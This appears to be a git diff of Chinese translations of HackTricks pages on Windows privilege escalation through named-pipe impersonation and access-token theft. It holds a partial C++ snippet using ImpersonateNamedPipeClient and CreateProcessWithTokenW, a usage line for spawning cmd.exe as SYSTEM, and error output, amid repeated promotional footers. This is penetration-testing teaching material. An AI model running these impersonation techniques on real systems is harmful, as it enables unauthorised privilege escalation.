std::wcout << "Impersonating the client..." << std::endl;
|
|
||||||
ImpersonateNamedPipeClient(serverPipe);
|
|
||||||
err = GetLastError();
|
|
||||||
|
|
||||||
STARTUPINFO si = {};
|
|
||||||
wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
|
|
||||||
PROCESS_INFORMATION pi = {};
|
|
||||||
HANDLE threadToken = GetCurrentThreadToken();
|
|
||||||
CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
在服务器上运行并使用在administrator@offense.local安全上下文下运行的客户端连接到它时,我们可以看到命名管道服务器的主线程假定了命名管道客户端的令牌 - offense\administrator,尽管PipeServer.exe本身是在ws01\mantvydas安全上下文下运行的。听起来像是一个提升权限的好方法吗?
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
|
||||||
|
|
||||||
* 如果你想在HackTricks中看到你的**公司广告**或者**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
**检查:** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||||
|
|
||||||
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,13 +1,13 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习AWS黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>零基础学习AWS黑客攻击到高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -15,8 +15,8 @@
|
||||||
|
|
||||||
## 代码
|
## 代码
|
||||||
|
|
||||||
以下代码摘自[这里](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)。它允许**指定一个进程ID作为参数**,并且作为指定进程用户运行的CMD将被执行。\
|
以下代码来自[这里](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)。它允许**指定一个进程ID作为参数**,并且作为指定进程用户的CMD将被运行。\
|
||||||
在一个高完整性进程中,您可以**指定一个作为系统运行的进程的PID**(如winlogon, wininit),并以系统身份执行cmd.exe。
|
在高完整性进程中,您可以**指定一个作为系统运行的进程的PID**(如winlogon, wininit),并以系统身份执行cmd.exe。
|
||||||
```cpp
|
```cpp
|
||||||
impersonateuser.exe 1234
|
impersonateuser.exe 1234
|
||||||
```
|
```
|
||||||
|
@ -166,7 +166,7 @@ return 0;
|
||||||
[-] CreateProcessWithTokenW Return Code: 0
|
[-] CreateProcessWithTokenW Return Code: 0
|
||||||
[-] CreateProcessWithTokenW Error: 1326
|
[-] CreateProcessWithTokenW Error: 1326
|
||||||
```
|
```
|
||||||
这意味着即使你在高完整性级别运行**你也没有足够的权限**。\
|
这意味着即使你在高完整性级别上运行**你也没有足够的权限**。\
|
||||||
让我们用**进程资源管理器**检查当前管理员对`svchost.exe`进程的权限(你也可以使用进程黑客):
|
让我们用**进程资源管理器**检查当前管理员对`svchost.exe`进程的权限(你也可以使用进程黑客):
|
||||||
|
|
||||||
1. 选择一个`svchost.exe`的进程
|
1. 选择一个`svchost.exe`的进程
|
||||||
|
@ -190,11 +190,11 @@ return 0;
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习AWS黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零到英雄学习AWS黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果你想在**HackTricks上看到你的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果你想在**HackTricks中看到你的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
|
Loading…
Reference in a new issue